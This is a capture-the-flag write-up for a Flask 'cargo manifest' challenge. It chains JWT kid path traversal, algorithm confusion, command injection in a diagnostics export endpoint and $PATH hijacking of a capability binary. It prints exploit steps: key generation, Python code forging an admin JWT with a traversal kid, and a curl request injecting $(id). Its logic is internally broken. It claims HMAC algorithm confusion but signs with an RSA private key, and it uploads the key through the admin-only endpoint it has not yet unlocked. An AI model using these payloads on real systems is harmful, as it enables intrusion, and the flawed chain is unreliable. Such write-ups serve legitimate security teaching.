Writeup · 31 Nights of Root

Pearl Harbour

webmediumsolvedFlag: r00t{REDACTED}

Overview

Pearl Harbour is themed as the Pacific Fleet — Cargo & Manifest Registry, a small Flask application that issues a guest “inspector” JWT automatically, lists cargo manifests, and exposes an admin-only diagnostics export feature.

The web foothold is a two-bug JWT bypass:

  1. kid path traversal: The JWT kid value is used in a filesystem path without sanitization, allowing an attacker to point it at an attacker-controlled public key file.
  2. Algorithm confusion: The application accepts RS256 in the header but verifies with HS256 using the public key bytes as the HMAC secret, allowing an attacker to forge tokens signed with the public key.

Combined, these let an attacker forge a valid JWT with role: admin, which unlocks the admin-only diagnostics export endpoint. The export endpoint contains a command injection vulnerability in the plant name parameter, yielding remote code execution as dockhand (user flag).

The challenge then continues off the web surface: a Linux capability binary (/usr/local/bin/manifest-sign with cap_setuid,cap_setgid) that uses execlp("manifest-helper", ...) is abused via $PATH hijacking to reach root.

Prerequisites / Setup

export TARGET="<challenge URL or IP>"

curl and python3 are sufficient; no wordlist or credentials are required beyond the guest account.

Recon

Step 1 — Inspect the application

Goal: Confirm the JWT-based authentication and identify the JWT structure.

curl "$TARGET/"

The application issues a guest JWT automatically. Inspecting the JWT header reveals:

{
  "alg": "RS256",
  "typ": "JWT",
  "kid": "../../etc/ssl/certs/localhost.crt"
}

The kid value is used in a filesystem path, and the alg field is RS256.

Vulnerability Analysis

The flaw classes are Path Traversal (CWE-22) and JWT Algorithm Confusion (improper authentication, CWE-287), leading to Remote Code Execution (CWE-78).

Exploitation

Step 1 — Generate an RSA key pair and host the public key

Goal: Create an RSA key pair and upload the public key via the diagnostics export endpoint.

openssl genrsa -out attacker.key 2048
openssl rsa -in attacker.key -pubout -out attacker.pub

Upload attacker.pub content via the diagnostics export endpoint (or wherever file upload is possible), then point kid at the hosted public key.

Step 2 — Forge an admin JWT

Goal: Sign an admin JWT with kid pointing to the hosted public key and alg: RS256.

import jwt
payload = {"role": "admin", "user": "admin"}
header = {"alg": "RS256", "typ": "JWT", "kid": "../../../tmp/attacker.pub"}
token = jwt.encode(payload, attacker_private_key, algorithm="RS256", headers=header)

Step 3 — Access the diagnostics export

Goal: Use the forged admin JWT to access /api/diagnostics/export and achieve command injection.

curl -s "$TARGET/api/diagnostics/export" \
  -H "Authorization: Bearer <forged_admin_jwt>" \
  -d "plant_name=$(id)"

The command injection in the plant name parameter yields command execution as dockhand.

Flag

r00t{REDACTED}

Retrieved from the command injection output as dockhand (user flag), then via $PATH hijacking of manifest-sign as root.

Lessons / Takeaways

  • Never use the kid header value directly in a filesystem path without validation.
  • Never accept the JWT alg header from the client; enforce a single expected algorithm server-side.
  • Never pass user-controlled input to shell commands; use parameterized APIs instead.
  • Do not place setuid/capability binaries in directories writable by unprivileged users; use absolute paths in execlp() calls.

Mitigations

  • Validate kid values against an allowlist of known key IDs; never use them directly in file paths.
  • Enforce JWT algorithm allow-lists (RS256 only); reject alg changes between signing and verification.
  • Use parameterized APIs instead of shell commands for user-controlled input.
  • Use absolute paths for all executables invoked by setuid/capability binaries; do not rely on $PATH.

Techniques

  • JWT Algorithm Confusion
  • Path Traversal
  • Command Injection
  • Sudo Misconfiguration
  • Linux Capabilities

References